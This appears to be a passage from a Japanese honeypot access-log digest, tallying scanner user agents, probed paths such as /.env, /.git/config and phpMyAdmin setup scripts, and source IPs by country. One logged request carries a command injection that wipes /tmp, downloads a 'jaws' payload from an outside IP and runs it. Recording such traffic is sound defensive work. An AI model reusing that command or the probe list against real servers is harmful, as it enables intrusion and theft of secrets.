1	`Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/18.0.130791545 Mobile/14A5345a Safari/600.1.4`
6	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
23	`curl/7.54.0`
8	`python-requests/2.25.1`
2	`python-requests/2.31.0`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfc\x01`
3		`\x16\x03\x01\x02`
15		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
29	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
8	GET	`/.git/config`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/XBkW`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
3	GET	`/aaa9`	HTTP/1.1
3	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/agc/timeclock.php`	HTTP/1.1
1	GET	`/agent/timeclock.php`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/default.cgi`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.jsa`	HTTP/1.1
1	GET	`/index.jsp`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/nmaplowercheck1691294901`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/start.asp`	HTTP/1.1
1	GET	`/start.html`	HTTP/1.1
4	GET	`http[:]//test[.]getproxylist[.]com/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/.env`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/api`	HTTP/1.1
7	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.44.42.25	Russia
1	20.55.53.144	United States
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
2	45.88.90.144	Bulgaria
1	45.88.90.145	Bulgaria
29	45.128.232.128	Bulgaria
1	45.227.254.48	Belize
6	51.79.29.48	Canada
1	51.158.37.186	France
1	64.62.197.118	United States
2	65.49.20.67	United States
1	66.175.213.4	United States
1	66.240.192.82	United States
2	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
1	85.239.33.6	Russia
1	94.232.43.50	Russia
2	109.237.97.180	Russia
1	121.46.25.189	China
2	138.197.15.3	United States
1	143.198.98.192	United States
2	159.203.44.105	United States
2	162.142.125.215	United States
1	165.232.42.161	United States
2	167.94.138.125	United States
2	167.248.133.38	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
2	172.104.11.51	United States
1	172.105.128.12	United States
1	181.41.206.226	Chile
1	185.174.136.177	Seychelles
1	198.199.104.98	United States
1	198.235.24.27	United States
1	198.235.24.201	United States
1	209.126.9.53	United States

UserAgent一覧

件数	UserAgent
24	`-`
1	`2.0.1) Gecko/20100101 Firefox/4.0.1\"`
2	`Go-http-client/1.1`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 YaBrowser/23.1.2.987 Yowser/2.5 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1`
7	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
4	`Mozilla/5.0 zgrab/0.x`
1	`curl/7.81.0`
29	`python-requests/2.18.4`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfb\x01`
16		`\x16\x03\x01`
2	CONNECT	`google[.]com:443`	HTTP/1.1
8	GET	`/.env`	HTTP/1.1
1	GET	`/6CQNZVakKuLiBxnM20otdEwfsJV`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/MyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/PHPMYADMIN/scripts/setup.php`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/cgi-bin/luci`	HTTP/1.1
1	GET	`/database/scripts/setup.php`	HTTP/1.1
1	GET	`/db/scripts/setup.php`	HTTP/1.1
1	GET	`/dbadmin/scripts/setup.php`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/my/scripts/setup.php`	HTTP/1.1
1	GET	`/myadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/mysql/scripts/setup.php`	HTTP/1.1
1	GET	`/mysqladmin/scripts/setup.php`	HTTP/1.1
1	GET	`/pHpMyAdMiN/scripts/setup.php`	HTTP/1.1
1	GET	`/phpAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.10.0.0/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.11.3/scripts/setup.ph`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.11/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/db.init.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin/scripts/db.init.php`	HTTP/1.1
1	GET	`/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin1/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin2/scripts/setup.php`	HTTP/1.1
1	GET	`/pma/scripts/setup.php`	HTTP/1.1
1	GET	`/scripts/setup.php`	HTTP/1.1
1	GET	`/setup.php`	HTTP/1.1
1	GET	`/sqladm/scripts/setup.php`	HTTP/1.1
1	GET	`/sqladmin/scripts/setup.php`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
2	HEAD	`/`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	PRI	`*`	HTTP/2.0